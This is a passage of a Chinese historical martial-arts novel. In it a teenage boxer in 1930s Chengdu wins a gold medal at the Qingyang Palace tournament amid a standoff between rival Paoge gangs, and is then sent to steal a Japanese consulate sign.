周立行腾地红了脸,他拍着桌子站起来,怒道:
“胡说八道!我总共才跟喜雀姐见两面,第一次送信大家都在,第二次当着那么多人在茶馆喝个茶叙旧!谷娃儿和石娃儿这么乱说?我大牙给他们打掉!”
“我说了,已经罚过他们了。”方结义见周立行这样,摇头叹气,“咋滴,不是那个婆娘勾引你,难不成是你看上她?”
周立行哑然,一旁的黑老鸹嘎嘎笑起来,“我就说嘛……哎,我早就猜对了……”
方结义无奈地拍了一把黑老鸹的肩膀,“师父,你这是捣乱哦!那是别人的小老婆!”
黑老鸹一脸无所谓,反过来教训大徒弟:
“别人的小老婆?别人勾走你的小老婆不也有七八个了嘛,咋滴,别人能勾你的,你弟娃不能勾别人的?”
方结义瞠目结舌,哑口无言,半晌憋出一句反:
““我要是捉奸在床,那也是要活埋奸夫□□的!我那些走了的小老婆,那是,爱上别人,然后才走,可不是先红杏出墙的!”
黑老鸹点头,“对,是,所以要是你弟娃有本事,能让别的婆娘爱上,甭管是黄花大闺女还是中年姨太太,人家愿意走,就成呗!是吧,行善?”
“对!”周立行大声回答,继而回神,脸红的好似要滴血一般,“不对!我没有看上喜雀姐!我没想……”
“那她要跟你走,你干不干?”黑老鸹嗤之以鼻。
周立行愣住,他从没这样想过。
他年少,一无所有,喜欢上一个成熟美丽又能干的姐姐,姐姐还是别人的小老婆,他人生第一次喜欢一个人,蓬勃热烈的情感随时可以烧晕他的脑袋,但那么多的现实放在一起,他什么也不敢做。
一见钟情的之后的每一天,他都会想着王喜雀的笑容入眠,走在街上经过脂粉铺子,他会仔细去辨别哪种香味更像王喜雀身上的味道,偶尔他也会把目光落在一些年轻女子身上,想着的却是王喜雀十六七岁时是什么模样。
他以为自己会跟着黑老鸹漂泊江湖,今生也不知道有无缘分再和王喜雀见面。他也想过,说不定以后王喜雀会跟木茶商生几个孩子,彻底死心。但他也想过,说不定王喜雀积攒好力量后,会跟知书知礼那般逃离,去重庆,或者去更远的地方,重新生活。
但他不敢想,有着十三载岁月隔阂的自己,能跟喜雀姐发生什么,他连梦都不敢这样做。
然而,在方结义和黑老鸹的观念里,似乎他是要发生点什么一般。并且竟然给出,喜雀姐愿意跟他走这种黄粱美梦。
周立行双眼发直,整个人僵立原地,傻傻地张开嘴,发出一个惊叹的疑问,“啊?!会吗?!”
完了!方结义暗叫不好。
原来这个小弟娃根本没开窍!现在,反倒是被他跟黑老鸹给打开了了不得的思路!
“不不不,不要去想!”方结义赶紧补漏,“你就是个小弟娃,成长之中喜欢下漂亮姐姐很正常,在长大点,也许你就喜欢比自己年纪小的了,哈哈哈,哎,要不我带你去开开……”
周立行转身就走,进房间,狠狠摔上门。
方结义无语,忍不住以下犯上数落自己的师父,“你看看你,刚刚说的什么话!”
黑老鸹摊手,“要球你来说这事儿的,现在怪我咯!”
方结义愁的团团转,“不行,不能让他这么闲下去了,少年心性血气方刚的,得找刺激的事情给他干,否则早晚他要去钻婆娘被窝!”
黑老鸹老神在在,端起茶碗刮茶沫子喝茶,“也不晓得是哪个,三天两头在钻被窝,啧!”
“我钻的那是自己的!”方结义鬼火冒。
“以前还不是别人的。”黑老鸹主打一个气死徒弟。
方结义指着黑老鸹,手指头发抖,脸皮子一抽一抽,肚子里骂了一万句脏话,最终只蹦出来一句,“比你孤寡终身强!”
黑老鸹无所吊谓,“是啊,我靠你养老送终呢。”
思来想去,最终方结义双眼放光地一拍巴掌:
“这春天来了,青羊宫的花会也要开了,让行善去打金章吧!”
“我看这小子武术学的扎实,说不定能搞个银牌金牌回来!若是有个金牌,他今后这辈子都有着落了。”
黑老鸹略一思考,觉得这个法子还行。
花会嘛,年轻妹妹不少,漂亮寡妇也多,再去打打拳消耗点气血精力,总比一身的牛劲儿没处使的好!
他也正好可以去看看国术女子队的比赛,哎哟~那些女子可武辣了,巴适的板!
*
青羊宫是著名的道教宫观,所供太上老君的生辰为二月十五,三月三的花朝节是百花生日。
自唐朝始,青羊宫于农历二月十五至三月底设立“花会”,花会期间,各方商贾云集,吃喝杂耍,无所不有,所谓酒肉薰天,丝管沸地。二三月间赏花、拜观成了成都民众必参与的盛事。
清朝时,四川各地除了文科,还有武科,武棚和箭道也是考取功名的一种,武秀才、武举人、武进士、武状元一样可以封官,民间习武成风。
到了军政府时期,当时的四川督军熊克武创办了“国术擂台赛”,在青羊宫的花会上打擂。后来国民政府在成都成立了“四川省国术馆”,更是按惯例,每年春季在青羊宫的赏花会上开擂台赛。
因打擂台是淘汰制,要先打进“资格赛”,然后随机分配对打,赢的一半选手得蓝章;接着一轮轮地打,前十名得【银章】,最后再打,前三名夺【金章】。故而,民间对这擂台赛的的称呼便成了【打金章】。
这【金章】获得者,在成都人民的心中,便如那武状元、武榜眼、武探花一般,要在胸戴大红花,骑高头大马,众人前呼后拥游街接受民众祝贺,大街沿途鞭炮齐鸣,锣鼓喧天。
还会有专人去他们家门上贴大红喜报,亲朋好友为其摆宴席。按规矩,获得金章的人还要去向所在武馆、堂口的师父送礼,感谢培育之恩。
得到金章的人,同时还会得到许多机遇,有的被军队聘去当国术教官,有的被聘到政府机关或学校当武术□□,有的去为大商贾做保镖,有的自行开棚收徒,有的在堂口升排成爷,有的自己开山立堂……总之,打得到金章,就打到了社会地位,打到了生活保障。
如此一来,每年从四川各地前来打金章的高手,越来越多。人多,便打的慢,最多的一年有几千人参加,打了两个多月才打出前十名,可见竞争是十分大的。
在方结义决定要送周立行去打金章的第二天,周立行还在温暖的被窝里做梦,便被方结义从床上抓起来,整个人都还在发懵。
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黑老鸹年纪大了没什么觉,自然是早早起来穿了徒弟孝敬的蓝绸红镶边的长衫,戴着缀珍珠加貂绒边的瓜皮帽,脚蹬猪皮加绒的棉靴,跟着一起逛花会。
周立行毕竟年少,呵欠没打几个就清醒过来,脸都没洗便被方结义拖出门。好在十五六的少年看什么都新鲜,很快就开心起来。
青羊宫沿街早早地便占满了各类美食的小摊子,辛勤的商贩们已经开始摆上准备贩售的货品,即便还是清早,也有了许多准备参加赏花会的人来往。
周立行从一开始跟着方结义走,慢慢变成方结义拽着走,最后实在不走了,盯着路边各种吃的眼冒绿光。
他先在路边小店吃了半斤龙抄手,又在路边买了一斤炒板栗,喝了两碗甜豆浆,还啃了五个麻辣牛肉包子—都是方结义付钱,最后才打着饱嗝继续跟着逛。
方结义知道半大小子能吃,但没想到这看起来精瘦的小子这么能吃,没好气地指着他鼻子训,“一天到晚吃这么多,也没见你给堂口干点事!”
周立行觉得方结义简直莫名其妙,“你们不是让我送信吗?我都送到了啊,我咋子没干事了?”
方结义嗤笑,“对,是我没安排好,杀鸡用牛刀,闲的你胡思乱想。今天就让你物尽其用。”
周立行不知道方结义想干啥,但吃人嘴软,只得乖乖跟着走。
不消一会儿,方结义便把周立行带到打擂台的报名处,一番简单交接后,方结义拎着报名表给周立行填。
“来,自己填。”方结义知道周立行识字且会写,根本不打算代劳。
周立行乖乖地拿起桌上的毛笔填写,“姓名……周行善,年龄……籍贯……拳种?”
“写峨眉通臂拳。”黑老鸹指点。
“哦好……师承?”周立行的拳法来自山上各庙的师兄师伯以及猴群,他都不知道具体师承谁。
“当然写我咯。”黑老鸹骄傲地挺胸。
“……行吧……门派?”周立行填得咬笔杆,内容真多。
“忠义堂。”方结义向来往与他打招呼的人抱拳致意,然后回周立行,“一般只有三种人来打擂,各军阀派系选送的、江湖袍哥公口堂口的、国术世家武棚武馆的。你现在,是袍哥这一脉的。”
周立行填了好一会儿,才把表格填完。他还注意看到报名表下面有提示——上台打擂,死伤自理。
简直就像是生死状!
“方大哥,这擂台上会打死人吗?”周立行有些犹豫。
方结义拍了拍周立行的后背,“很多年前有过,现在几乎没有。放心,这十几年一直是省国术馆承办,他们有经验,再说了,你去的是少年组,都是些毛头小子。去吧,填了表,要先考核和体检的。”
周立行颇有些担忧地交了表,被工作人员先带去了一个院内,前方坐着几个胡须花白的老头。
“展示下套路。”其中一个老头声如洪钟地说道。
这气息一听,就知道老头内家功夫练得好,年轻时一声狮子吼都能把人喊晕头。
周立行只好先打了一套白猿通背拳。
他的形意拳打得自然出神入化,寻常人打拳是无论如何都打不出他那份猿猴神韵。加之在山上那三年,他功底还是扎实的,于是很快通过了展示。
少年组和成年组都差不多,除了展示看基本功以外,还得考核速度和力量。
一些花拳绣腿的,往往过得了展示过不了体检。如同那些唱戏的卖艺的,谁不能跟杂耍一样来几下呢?可是力量和速度,他们很难比得上真正习武用杀招的人。
周立行成功地完成了举重,跑圈等体能测验环节,一路懵着到了真正的打擂的第一个环节——【打资格】。
26.成都
打资格的意思,要随机挑战一名报名选手,赢了对方才有复赛资格。
这一关,有运气的成分在。
有的人实力低,奈何遇到一个实力更低的,便也进入了复赛。有的人实力不错,却遇到了个金章种子,便连复赛也进不去了。
打资格是抽签制。当日报名通过的一批人,可自行抽签,抽到数字相同的,便是对手。
周立行想也没想,随手抽了一签,上写“12”。
这个序号,不早不迟,前面有五对人,已经打完两对了。
打擂比武是在齐胸高、约10余米见方的擂台上举行,四周是观台和群众看台。
成人男子组那边,在参观台就座的是军政要人、社会名流,省国术馆的评判们还要兼职现场讲解,报刊记者们边看边写,选手们打得异常激烈。
成人女子组这边,参观台上则以军政商贾的太太小姐们居多,当然也有一些风流才子,不喜欢那些挥汗如雨的臭汉子,专喜欢看这些泼辣野性的女人施展拳脚的。
少年组这边,参观台上则是男女对半开,一部分是少年选手的家人亲友、武馆同门,另一部分则是来挑选好苗子的。
这要上场的人,都是一律发的短襟白上装,一方腰系红带,一方腰系白带或蓝带,以示区分。鞋子也一律换成赛场发给的软底布鞋,手指甲和脚指甲都要修剪,并且经过检查。另外,还严格搜查全身,验明是否夹藏暗器。
场边立有告示,讲了比赛的一些判定规则。
这擂台是生死台,举办方省国术馆做了周全的措施,每个擂台现场都安排了五名评判员——场上一位,场下擂台四周各有一个评判员,以保证全方位无死角都能看到比赛选手们的动作。
比赛只有三不准:一不攻击裆部,二不准叉眼睛,三不准锁喉,其余黑手阴招并不能完全被禁止。
所以最终比赛是三打二胜,其中散桩(倒地不起)全输,挂红(出血)全输,告饶全输。
评判摇铃后禁止再打,对手倒地后不准补拳,故意犯规的人取消比赛资格。
周立行换好走到台下,另一边已经站着一个跟熊一般高壮的少年,大家穿着比较宽松的衣服,那少年穿着根本扣不拢。
周立行慢吞吞地从旁边的木梯走上去,默不吭声地微侧身站着,眼睛往下面方结义和黑老鸹那边瞟。
这起码一米九身高190体重的,少年???
黑老鸹在下面看周立行和那少年的体型对比,也是目瞪口呆,妥妥的一只猴子对战一只大熊!
“结义啊,这黑熊精咋呢能在少年组啊?成年组有这个身躯的都罕见啊……”
方结义摸着鼻子,“……只能说弟娃运气太撇了,我刚刚问了,这少年叫布和,是蒙古族的,武馆推送的,只有十六岁……”
黑老鸹呵呵尬笑,“这吃肉长大的是不一样哈……”
回头多喂周立行吃牛肉,不知道还能不能给喂大只点。
比赛开始,周立行和布和握手致意,对方手掌如熊掌一般厚实有力,捏的周立行手骨生疼。
是个大力士,不能硬碰,周立行立即作出判断。
双方握手后,立即退步,系好腰带,再相互拱手为礼,待评判摇铃并发出“较”的信号,即开始交手。
布和体格高达,浑身肌肉,上来便是一个蓄力重拳,直冲周立行的面门。
破空而来的劲风,让周立行更加笃定,对手的拳力非凡,他怕是一拳都挨不住,近身必然被揍断骨头。
周立行在同龄人中已经偏高,奈何在这个黑熊一般的大块头面前,还是被对比得像猴子。
他只得发挥自己灵巧的特质,不和对手正面冲突,绕着场子边躲边跑。
布和很生气,这个精瘦的少年溜着他围着擂台跑几圈了,他都没抓着人。
台下的评判员见状,敲了一声锣,警告道:
“消极应对,拖延时间的,要扣分!警告一次!”
周立行无奈,只能一脚踏上擂台边缘,借力跃起,袭向布和的头部。
布和丝毫不惧,他一个猛虎冲兔,蛮力冲撞,强压近身,侧头躲过周立行的拳头,恶狠狠地用额头撞击周立行的额头。
彷如大钟齐鸣,周立行顿时头晕眼花,气力不济。
布和趁机近身搂抱,如蟒蛇缠身,死死勒住周立行,想要把他勒晕。
生死边缘的危机刺激到周立行,快于他大脑思考,黑老鸹教导的阴招自动浮现,他双手成爪,使劲扣住布和的肋骨,使劲一掰!
布和感觉双肋一阵刺痛,尤其是右肋肝脏,他不由得松了劲,然而对方的手力不减,反到是要掰断他肋骨一般。
布和只得一把将周立行举高,再狠狠地砸了出去。
周立行全身着地,赶紧一个鲤鱼打挺站起来,这比赛是三大二胜,若是散桩(倒地不起),则是全输。
布和又是一个蓄力猛冲,试图再次将周立行举起摔下,他坚信只要摔打几次,再敏捷的猴子也会被摔晕死过去。
然而周立行根本不打算再跟他耗,他摸到了对方的弱点,对方太相信力量了。
而黑老鸹所教的,大多都是如何示弱,再以弱胜强。
布和双拳齐抡,故技重施,右手蓄力重摆,左手蓄力冲拳,妄图近身擒抓。周立行借力假装被擒,被举到半空的时候拧腰转胯,勾腿一招经典猴子蹬枝,稳准狠地一脚蹬到布和的鼻子!
啪!
布和的鼻血喷出!
周立行被砸向地面,他在半空中灵巧地蜷身翻滚,落地之后稳稳地蹲着。
裁判吹响哨子,布和见红,败!周立行以【猿猴蹬枝】晋级!
黑老鸹在台下带头鼓掌,并点评:黑熊战泼猴!猴子技高一筹!
*
开场便遇到一个硬茬,差点让周立行折戟沉沙,这让周立行对比赛生出了敬畏之心,同时也生出了好胜之心。
他拿了蓝章,有了复赛资格,便要等其他人的初赛都出了结果才能开始。
见周立行对这打金章生出了兴趣,方结义总算是松了一口气。
他坚信少年心性,只要有更好玩的事情出现,不多久周立行就会忘记王喜雀的。
接下来是时日,周立行场场不缺,成年组的比赛他更是认真观摩。
正式比赛每天上午9点开始比赛。开场时著名武术家献艺,表演内功、气功、拳术、兵器等暖场,等人群会集后,主持人开始宣布今日参赛者名单。随后便是抽签配对,抽签人请当天参观台上地位、名望最显赫者担任。
在比赛结束后,评判长还会实时讲解,各门派打法特点,行拳过程、步法手法,如何击中,都要用术语清楚地向观众和比赛双方说明
评判长还会将选手最后取胜的招式,冠以美妙的称呼,如风抚荷花、黑虎掏心、顺水推舟、春风迎面等,让台上的观众和台中的选手都对结果心服口服。
周立行每场比赛看得津津有味,听得认认真真。
过目不忘的他,回去就拉着石娃子和谷娃子一起陪练,偷师偷得光明正大。
一旁的黑老鸹更是热情高涨,每天都在换着花样地指点。
石娃子和谷
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娃子这俩倒霉孩子,属于是被迫走上了学习国术的道路,每天鼻青脸肿地回去,还要被家人叮嘱不要怕被打,要好好学,这两人是欲哭无泪,只能咬牙硬撑。
少年组的参赛人数不如成年组多,约莫半个月左右,边学便他竟是顺利地打到了决赛。
最终留在擂台上的上的五个人,将角逐最终的金章。
这一日,周立行按照通知的时候准备出门,却见方结义满脸冰霜地带着乌泱泱几十号人来了黑老鸹的住所,那几十号人竟然都带着刀和枪。
“行善,今天的比赛,堂口给你扎场子,你放心大胆的打!”
方结义难得地阴沉着脸,似笑非笑的模样有些瘆人。
周立行感到莫名其妙,他一直都是放心大胆地打的啊。
到是黑老鸹品出了问题,“怎么?有人想喊行善让手?”
方结义今日穿了西装还戴了一定宽檐黑呢帽,他取下帽子,目光如鹰。
“光耀堂的冯显贵,说是他儿子进了前五,抽着了咱们行善。”
“他明知我方结义不沾鸦片生意,却私下想给你黑老鸹送几箱烟土,让你以师父的名义压一压行善。”
“昨晚上我的人已经把他们的人撵回去了,听说对面发了好大火,说是今天要给咱们好看!”
方结义心头的怒火一阵阵的冒,“我倒是要瞅哈,哪个好看!”
黑老鸹嘎嘎地笑,“有趣,有趣,走,我们去会一会他的儿子,看下是个啥子蛋!”
*
方结义一群人浩浩荡荡地把周立行送去青羊宫的时候,光耀堂那边也声势浩大地送他们的大少爷进擂台。
原本,少年组这边的人气远不如成年组。
今日这两个堂口敲锣打鼓别枪挎武地进来,两边加起来瞬间多了一百多号人,立时将少年组的擂台围得满满当当。
省国术馆见怪不惊,凡是有关名利的事,台上争台下也会争。
能打上金章,进入前十名,再“瘟”有有七八成的功夫,但要在前三名角逐中取胜,要么天赋卓绝,要么少不了背景后台。
打金章本就是军政府选人才的地方,一般说来,军政要人不会插手比赛公平,但各地军阀一系、袍哥一系、武馆拳棚一系,这三方哪年不闹出点事情呢。
眼见两个不同的袍哥堂口来加油助威,省国术馆便多招了些人手来守现场,只要比赛结束这两帮人不当场群殴,一切就算平安。
到了最终阶段,比赛服换成了红白二色,周立行抽中白色。他自己换了衣服,站上擂台,平静地看向还在台下、被人伺候换红衣的冯家大少爷——冯争鸣。
这冯争鸣和他一样刚十六岁,身高体重都差不多。
但不同于周立行当了几年和尚养出来的温善外表,这冯争鸣眉眼生刺,一身嚣张跋扈之气,仿佛全天下人都亏欠他一般。
因身边小弟换衣的手脚慢了,冯争鸣反手便给对方两巴掌,周围其他人竟好似习以为常,只管呐喊助威。
周立行眯了眯眼,微微偏头,仿佛看到另一个自己—假如没有上过峨眉山,没有遇到过静空和黑老鸹的自己。
野心勃勃,暴戾好斗,奋尽全力去抢夺一切能得到的东西。
冯争鸣也是瞳孔微缩,他从眼前看似平和的少年眼中,感受到了和自己共鸣的某些东西,那是被温情和关爱压制住的狠厉决绝。
在那一瞬间,冯争鸣莫名地知道,周行善一定是得到了他永远都得不到的东西。
“我会赢你的。”冯争鸣动了动脖子,眼神阴沉地摆开架势,“输了可别哭。”
27.成都
冯争鸣拳路狠辣,开场便是八极拳的单羊顶,竟是想要一招强杀。
周立行见他站桩的动作便知他将发力,灵活地躲避开。
他观看这段时间的各场比赛,在黑老鸹的恶补之下,已知八极拳擅肘击,是枪术演变而来,以手臂为枪,实战极为凶猛,碰到人非死即残!
冯争鸣也是看过周立行之前的打法的,知道他擅长腾跃躲避,见缝插针以小博大,他冷笑一声,阎王甩手、两仪顶等招式频出,丝毫不给周立行喘息的机会,一套八极拳打得时虎虎生风,撵着周立行贴身打。
周立行根本拉不开距离,只能正面迎战,他这段时间看得太多用的太杂,已经不再拘泥于用什么拳法,此番对战冯争鸣,他换了种打法。
完全不思考,莽上去就干,拼谁狠!能点麻筋点麻筋,能踩脚趾踩脚趾,多用寸劲掌,拼谁抗揍且反应快!
忠义堂和光耀堂两拨人在下面呐喊助威,双方都誓要压对方一头,先是比拼哪个声音大,吼着吼着就变成了敲桌子敲板凳,接着升级成了一边在敲鼓一边在响锣,热闹非凡。
黑老鸹年纪大,被吵得头晕脑胀,只好想办法转移注意力,他凑头到端着舵把子姿态、大马金刀坐着的方结义耳边,问道:
“光耀堂那个舵把子冯显贵,才三十岁出头,怎么儿子这么大!”
方结义扭头回答,“这两年才认回来的儿子,据打听说是他十五岁时候跟个丫头鬼混,被打发出府的丫头回家了生的。”
一听有八卦,黑老鸹双眼放光,“然后喃?”
“前几年那女的死了,家人眼巴巴给冯显贵送回来,想要攀亲。冯显贵一开始没认,但那小子争气,逞强斗勇,万事争先,据说读书和武术都很优秀,冯显贵喜欢他那股子狠劲,先给认成侄子,最近才认成儿子。”
显然,一晚上的时间,足够方结义把对方的情况摸清楚。
“我以为冯显贵想送礼压擂台,冯争鸣这小子肯定实力不济……没想到,是个好手。”
方结义看擂台上冯争鸣,竟生出了几分惜才之意。
几年前才送回来的乡间小儿,要打出现在这般迅猛的八极拳,得下多少苦功夫,方结义心中有数。
不过再看一下自己的小师弟,方结义心中又更为骄傲起来。
看看,什么叫擂台搏击!还得是周立行这种天赋超然的,短短半个月时间,在并没有参与什么街头实战的情况下,他已经丢开了所谓的招式姿态,出拳踢腿简洁狠辣,直奔要害!
方结义不知道的是,周立行虽然没有打过袍哥抢地盘的街头实战,但早就打过猴子们抢地盘的兽类实战,嗯……异曲同工,他本就是天生地长的战斗直觉,所有的传武招式都是后来才学的。
周立行和冯显贵,两人年岁相同旗鼓相当,一个看似平静温和却暗藏狠倔,一个凶性外显却易激易怒,两人打出了真火,你挨了我一拳,我遭了你一脚,越打越亢奋,两人都打出了不死不休般的决绝感。
擂台交手双方,互相击中算打平,击中对手但非要害的算赢半次;打中要害算赢一次。强弱明显、实力悬殊的,很快就能决出胜负;若实力相等,则有可能打很长时间没结果。
裁判长也看出来,周立行和冯显贵便是难得一见的实力对等,而台下两波势力拱火越来越严重,再这般拖下去,必生事端!
正当裁判长要说话的时候,一声枪响!
不知道是谁的手下,闹腾到枪支走火了!
听得枪响,方结义这边的人紧张得立马拔枪,冯显贵那边不遑多让,也是嗖嗖地拔枪对峙!
“停手!”
裁判长猛地一敲锣,声如洪钟,及时刹停!
周立行的嘴角被打破,冯争鸣的下巴挨了一脚,两人在裁判长的怒喝中双双退开,皆是喘着粗气,双双有伤。
“此番打平,无需再打。”
裁判长威严地向下面的袍哥们开口。
“各位兄弟伙,雅静!莫要冲动,今日川军各位师长都在,你们要是扫了他们的面子,哪个都负不起责任。”
三十岁出头,断眉长脸的冯显贵先坐了回去,他目光暗含挑衅,话却说的滴水不漏:
“误会,不知是哪位兄弟走火,还以为有人要在此放肆呢。”
方结义也坐了回去,不阴不阳地回应,“就是,还以为哪个老子想去帮儿子咬人呢。”
裁判长不管这两个舵把子打什么谜眼,他召集另外四个裁判召集起来。
周立行和冯争鸣这种情况,他们也是遇到过的,解决办法无非两种:
一是休息后再打;
二是实在分不出高下了,便征求双方赛手和老师的意见,在名次、奖品、赛后实利之间经过研讨决定名次。
现在最终的五位选手,只有三位能拿到金章。
周立行和冯争鸣可以分别重选对手,打赢了对方,他们都是妥妥的金章得主,只是要和剩下最后一人排名次而已。
冯争鸣不服这口气,他坚定地要求继续打。
周立行不置可否,他虽然觉得打擂台有趣,但并不是多么在意结局。他表示听方结义和黑老鸹的。
事情走到这一步,便不再是周立行和冯争鸣二人的意志为主,而是冯显贵和方结义两个堂口的事情了。
冯显贵出生袍哥之家,从小便跟着父亲在成都各堂口常年打交道。他从自家老爷子手里接过这个龙头舵把子的位置也没多久,正是想带领光耀堂更进一步的时候。
堂口里的人参加成年组没有打进决赛,只有这个野儿子争气,冯显贵是绝对不会放弃这枚金章的!
“重选对手。”冯显贵迅速下了判断。
另外的人,可以用另外的办法。不是人人都像方结义这般,有实力护犊子的。
他跟方结义除了这里,还可以在赌场生意上斗一斗,大伙儿以后有的是机会切磋。
冯争鸣咬着后槽牙,肉眼可见地怒意勃发,他认定的对手是周立行,他认为自己一定可以赢。
然而,他知道冯显贵的脾气,唯利至上,唯
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他独尊。若是他敢在外面扫了冯显贵的面子,回去对方可不会跟他客气。
怒气在心中游走一圈,冯争鸣决定把这笔账记在周立行身上。
早晚有一天,他会自己找周立行打个输赢!
方结义和黑老鸹商量了一番,也是决定重选对手。
周立行根本不等他们俩解释,点头便道,“好的。”
一旁的冯争鸣见周立行这样,都不愿意争取下跟他比试的机会,更是气闷,深觉得周立行是瞧不上他,默默地把恨意再加了一倍。
周立行自然是感受到了冯争鸣的恨意。他觉得对方简直是莫名其妙的无理取闹,大家平日里素不相识,全靠抽签抽到一起,才比试这么一场。
他对输赢没什么执念,对金章也没有什么看法,更无法理解冯争鸣的心情。
*
接下来的比赛毫无悬念,周立行经过一番苦战,赢了新对手;冯争鸣也以他刚猛不要命的打法,加之光耀堂背后的暗地交易,顺利击败了另外两名对手。
最后,周立行拒绝了跟冯争鸣的二次对战,在主办方的协调下,以第二名的成绩,荣获了金章。
方结义对争不争第一没意见,他和冯显贵的争斗不至于这一处,自然不会拿小师弟去置气。
即便是第二名,那也是金章!
方结义高兴得很,在堂口搞了盘流水席,鸡鸭鱼肉摆上来,还请了戏班子唱一出武状元,堂口兄弟们拖家带口,一群人喝酒吃肉撒欢,硬是把黑老鸹和周立行都给灌醉了。
周立行以前是不喝酒的,然而今日是大家恭贺他,连黑老鸹都伙同大伙儿一起灌他。
周立行是躲也没地躲,闪也闪不开,没办法,只好跟着大家喝,从米酒喝到白酒,真真个是喝到头脑发蒙,走路打圈圈。
宴到最后,大部分人都喝趴下了,周立行醉的不行,但好歹还能说话。
他摸出金章,歪歪扭扭地蹭到方结义旁边,把金章递给方结义。
“大哥,给你!”他觉得方结义应该是喜欢这玩意儿的。
方结义哈哈大笑,推开周立行的手,“哥哥我有自己的金章!你留着吧!”
周立行隔了一会儿,才点头,他又偏偏倒倒地挪到黑老鸹旁边,把金章递给黑老鸹。
“老黑,给你!”
黑老鸹嫌弃地摆手,“滚,哪个稀奇你这些东西!”
周立行这章送不出去,捧在手里赶紧烫手,“那我送谁……”
谷娃子和石娃子两个也醉的迷迷蒙蒙,石娃子转头四处找,“莲妹儿呢?送给莲妹儿!”
谷娃子一巴掌拍在石娃子傻乎乎的脸上,“行善哥要送也是送自己喜欢的女娃子,送你个鬼的莲妹儿!”
周立行恍然大悟,把金章放进盒子,站起身,斜着斜着走出了门。
大伙儿都喝醉了,没有在意……
等到第二天方结义酒醒,整个人又被新消息给惊到!
据手下来说,周立行大晚上的把金章到王喜雀家门口去放着了!
28.成都
幸好昨晚负责跟周立行的手下没喝酒。他跟着酒醉的周立行,守着他在王喜雀的家门前傻站了一会儿,然后周立行把金章放在家门口,转身回黑老鸹的房子睡觉去了。
那手下也是一头雾水,想了想,还是把金章盒子又给捡了回来,交给方结义。
方结义拿着金章仿佛拿着烫手山芋。
他是真的后悔,当初事情没摸透,没个轻重地说话,戳穿了周立行小心翼翼掩盖着的少年暗恋,反倒是把对方戳醒了。
这种事情就像是一颗萌芽的种子,不去理会,也许长着长着自己就枯萎了。可一旦戳穿掀开,那就仿佛给了种子雨露阳光,反而容易让其茁壮成长。
这下方结义也是难办,他一边让人把金章给周立行送回去。
一边派人继续跟周立行,仔细观察,随时汇报,生怕他的小弟娃惹出什么事来,同时也对王喜雀多方调查,讲她的生平了解了个七七八八。
别的不说,方结义派人查了一番王喜雀,最后得出来的结论是这个漂亮姨太太人挺不错,人长得好看,接人待物做的不错,挺能替那木茶商挣钱。
而那木茶商,也是个人物,他走到哪儿姨太太娶到哪。
娶的不是当地商户的能干女儿,就是置产招工里的能干女管事,这招用起来名正言顺捆住了那些女人的一生,让这些能干的姨太太去和男掌柜相互制衡。
男掌柜一旦羽翼丰满,就容易自立门户;被纳成姨太太的女人就不一样了,这辈子都被礼法道德捆死,既不敢跑,也不敢在生意上乱来。
因为木茶商可以在礼法道义的支持下,随便用个理由,便弄死这些可怜的女人。
方结义自我对比了一下木茶商,觉得商人果然都是黑心烂肺的玩意儿,靠吃女人挣钱算什么东西,心中对那木茶商颇为鄙夷。
不像他,对所有女人有求必应,随便她们想留想走,甚至还帮她们开铺子做生意。
周立行第二天起来后,看那送回来的金章,没有问发生了什么。
他恢复了之前的沉默寡言,继续带着谷娃儿石娃儿给堂口跑腿。除了经常找各种公事理由去王喜雀住所那边打打转,并没有什么出格的举动,更没有私下去约见过王喜雀。
方结义这才放下心,加上他从黑老鸹那里知道,周立行从小丧母,由外婆带大,便把周立行的举动当成正常少年对大龄美妇的一种憧憬,不再关注。
这中途的时日,心高气傲、面子大过天的冯争鸣,熬不过内心的不服,私下来找过周立行几次,目的很简单,想要单独约着再比。
周立行拒绝了几回,心里烦他得很。
这次对方又来,周立行直接没鸟他,转身就跑了,气得冯争鸣在背后大喊:
“我不会放过你的!!!你给我等着!!!”
周立行充耳不闻,心想有跟你打的力气,我不如回去睡觉。
*
没隔几天,方结义又去黑老鸹那里找周立行,说是要交给他一件私事。
周立行觉得奇怪,但作为袍哥,他得讲江湖道义,便问也不问先答应,“行!你说干啥就干啥。”
方结义咳嗽了一声,“去顺一块门牌。”
黑老鸹在旁边放下旱烟管,眼中冒出一道精光,“金河街56号?”
“二月的时候,日本就想要在成都设领事馆,金陵那边的外交部长没答应,因成都并不是通商口岸,设锤子的领事馆。”
方结义愤道,“那狗日的些贼心不死,把驻重庆的日本领事派到成都来,想喊四川省政府这边自行同意。咱们四川这边肯定也不得干撒,结果这群狗东西,前几天竟然在金河街56号门口把木牌挂起来了!”
周立行好奇,“什么木牌?不能明抢吗?”说是顺,不就是偷么!
只不过这些袍哥,打死不愿意用偷字而已。
黑老鸹冷笑,“什么牌?大日本驻川总领事署的木牌!这群狗东西,竟然自个儿挂牌子,真嚣张!立行说的对,你们就该光明正大去砸了!”
方结义有些惭愧,解释道,“我倒是想光明正大去砸哦!但是四川政府这边都不敢轻举妄动,只能报告外交部,外交部那边又说是派了驻川康视察专员来和日本方面谈判……”
“谈判?翻嘴皮子比得上动刀子?人家要是听你说,还会自己把牌子挂上去?简直奇耻大辱!”
黑老鸹越说也生气,周立行赶紧上前帮黑老鸹顺背。
方结义想起来也是心塞,但他毕竟是当大爷的人,不能再像年轻时候那样鲁莽冲动。
“师父,所以我才来找弟娃啊。顺牌子这事我不方便在堂口里说,毕竟人多嘴杂,若是透露出去,怕是要惹麻烦。”
“但我私下联络过上面的人,民间人士去搞点破坏,他们可以按着不追究。”
“我和另外两个堂口的大爷私下商量好了,秘密派人,一人顺一次,毕竟雕一个木牌也要三五天,轮番的去顺,看他们有没有那么多牌子拿出来挂!”
周立行听得心中澎湃,回答道,“放心,这事包在我身上。”
“弟娃,那里有警卫守,你去顺牌子的时候小心些,若是对方开枪,你跑不过就赶紧投降,就算是被警察抓了也没事,报堂口名,我会迅速来保你的!”
方结义感动地拥抱了下周立行。
*
第二日,周立行去金河街56号踩好点,当夜便穿了黑衣黑裤,绑了黑面巾,夜半三更的时候摸了过去。
老成都各坊之间有门,夜晚会关上门,避免不同区域间的人员流动。
那些打更的更夫,本质上负责的是巡逻警戒的工作。
不过这些时日,因得一些原因,锁门的“忘记”锁好,打更的“忘记”走金河街过,反正那边有警卫帮忙守嘛,哪里还需要普通小老百姓帮忙愁哦。
周立行一路提气疾行,本还想说躲着人,嚯哟,哪知道一路上根本遇不到什么人。
到了那金河街56号外面,只见三层高的小洋楼外,铁门锁着,那个大日本驻川总领事署木牌竟然堂而皇之地挂在铁门外。
门里左侧有个黑灯瞎火的小房间,隐约有呼噜声从里面传来。
